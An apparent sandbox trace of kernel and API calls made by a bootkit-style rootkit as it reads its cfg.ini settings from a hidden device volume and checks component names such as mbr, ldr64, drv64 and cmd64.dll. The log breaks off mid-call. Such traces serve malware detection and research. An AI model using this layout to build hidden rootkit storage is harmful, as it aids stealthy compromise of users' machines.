[0125.876] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.876] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.876] KeEnterCriticalRegion () [0125.876] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.876] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.877] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.877] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.877] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.877] IdePortDispatch () returned 0x103 [0125.877] KeWaitForMutexObject () returned 0x0 [0125.877] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.877] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.877] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.877] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.877] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.877] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf9230 [0125.877] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.877] KeLeaveCriticalRegion () [0125.877] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.877] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.877] KeEnterCriticalRegion () [0125.877] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.877] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.877] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.877] KeLeaveCriticalRegion () [0125.877] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.877] KeEnterCriticalRegion () [0125.877] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.877] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.877] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.877] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.877] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.877] IdePortDispatch () returned 0x103 [0125.877] KeWaitForMutexObject () returned 0x0 [0125.877] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.878] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.878] KeLeaveCriticalRegion () [0125.878] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.878] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.878] KeEnterCriticalRegion () [0125.878] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.878] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d13000 [0125.878] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.878] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.878] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.878] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.878] IdePortDispatch () returned 0x103 [0125.878] KeWaitForMutexObject () returned 0x0 [0125.878] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.878] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.878] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.878] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.878] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.878] IdePortDispatch () returned 0x103 [0125.878] KeWaitForMutexObject () returned 0x0 [0125.878] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.878] KeLeaveCriticalRegion () [0125.878] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.879] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.879] KeEnterCriticalRegion () [0125.879] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.879] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.879] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.879] KeLeaveCriticalRegion () [0125.879] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.879] KeEnterCriticalRegion () [0125.879] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.879] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.879] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.879] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.879] KeLeaveCriticalRegion () [0125.879] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.879] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.879] KeEnterCriticalRegion () [0125.879] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.879] ExFreePoolWithTag (P=0xfffffa8003bf9230, Tag=0x0) [0125.879] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.879] KeLeaveCriticalRegion () [0125.879] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.879] ReleaseMutex (hMutex=0xf0) returned 1 [0125.879] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.879] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.879] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.879] KeEnterCriticalRegion () [0125.879] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.879] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.879] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.879] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.879] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.879] IdePortDispatch () returned 0x103 [0125.880] KeWaitForMutexObject () returned 0x0 [0125.880] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.880] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.880] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.880] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.880] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.880] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfaa80 [0125.880] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.880] KeLeaveCriticalRegion () [0125.880] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.880] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.880] KeEnterCriticalRegion () [0125.880] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.880] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.880] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.880] KeLeaveCriticalRegion () [0125.880] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.880] KeEnterCriticalRegion () [0125.880] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.880] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.880] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.880] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.880] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.880] IdePortDispatch () returned 0x103 [0125.880] KeWaitForMutexObject () returned 0x0 [0125.880] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.880] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.880] KeLeaveCriticalRegion () [0125.880] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.881] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.881] KeEnterCriticalRegion () [0125.881] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.881] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d14000 [0125.881] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.881] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.881] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.881] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.881] IdePortDispatch () returned 0x103 [0125.881] KeWaitForMutexObject () returned 0x0 [0125.881] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.881] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.881] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.881] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.881] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.881] IdePortDispatch () returned 0x103 [0125.881] KeWaitForMutexObject () returned 0x0 [0125.881] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.881] KeLeaveCriticalRegion () [0125.881] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.882] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.882] KeEnterCriticalRegion () [0125.882] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.882] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.882] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.882] KeLeaveCriticalRegion () [0125.882] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.882] KeEnterCriticalRegion () [0125.882] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.882] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.882] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.882] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.882] KeLeaveCriticalRegion () [0125.882] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.882] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.882] KeEnterCriticalRegion () [0125.882] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.882] ExFreePoolWithTag (P=0xfffffa8003bfaa80, Tag=0x0) [0125.882] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.882] KeLeaveCriticalRegion () [0125.882] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.882] ReleaseMutex (hMutex=0xf0) returned 1 [0125.882] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.882] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0125.882] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.882] KeEnterCriticalRegion () [0125.882] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.882] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.882] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.882] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.882] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.882] IdePortDispatch () returned 0x103 [0125.882] KeWaitForMutexObject () returned 0x0 [0125.883] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.883] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.883] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.883] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.883] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.883] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf4b30 [0125.883] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.883] KeLeaveCriticalRegion () [0125.883] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.883] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.883] KeEnterCriticalRegion () [0125.883] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.883] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.883] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.883] KeLeaveCriticalRegion () [0125.883] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.883] KeEnterCriticalRegion () [0125.883] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.883] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.883] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.883] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.883] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.883] IdePortDispatch () returned 0x103 [0125.883] KeWaitForMutexObject () returned 0x0 [0125.883] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.883] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.883] KeLeaveCriticalRegion () [0125.883] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.883] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.883] KeEnterCriticalRegion () [0125.883] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.883] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d15000 [0125.883] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.883] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.884] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.884] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.884] IdePortDispatch () returned 0x103 [0125.884] KeWaitForMutexObject () returned 0x0 [0125.884] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.884] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.884] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.884] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.884] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.884] IdePortDispatch () returned 0x103 [0125.884] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.884] KeLeaveCriticalRegion () [0125.884] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.885] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.885] KeEnterCriticalRegion () [0125.885] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.885] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.885] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.885] KeLeaveCriticalRegion () [0125.885] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.885] KeEnterCriticalRegion () [0125.885] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.885] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.885] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.885] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.885] KeLeaveCriticalRegion () [0125.885] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.885] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.885] KeEnterCriticalRegion () [0125.885] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.885] ExFreePoolWithTag (P=0xfffffa8003bf4b30, Tag=0x0) [0125.885] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.885] KeLeaveCriticalRegion () [0125.885] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.885] ReleaseMutex (hMutex=0xf0) returned 1 [0125.885] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0125.885] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0125.885] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.885] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.885] KeEnterCriticalRegion () [0125.885] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.885] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.885] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.885] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.886] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.886] IdePortDispatch () returned 0x103 [0125.886] KeWaitForMutexObject () returned 0x0 [0125.888] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.888] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.888] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.888] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.888] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.888] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.888] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.888] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.888] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.888] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.888] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.888] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.888] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.888] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.888] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.888] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.888] KeLeaveCriticalRegion () [0125.888] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.888] DeleteFileA 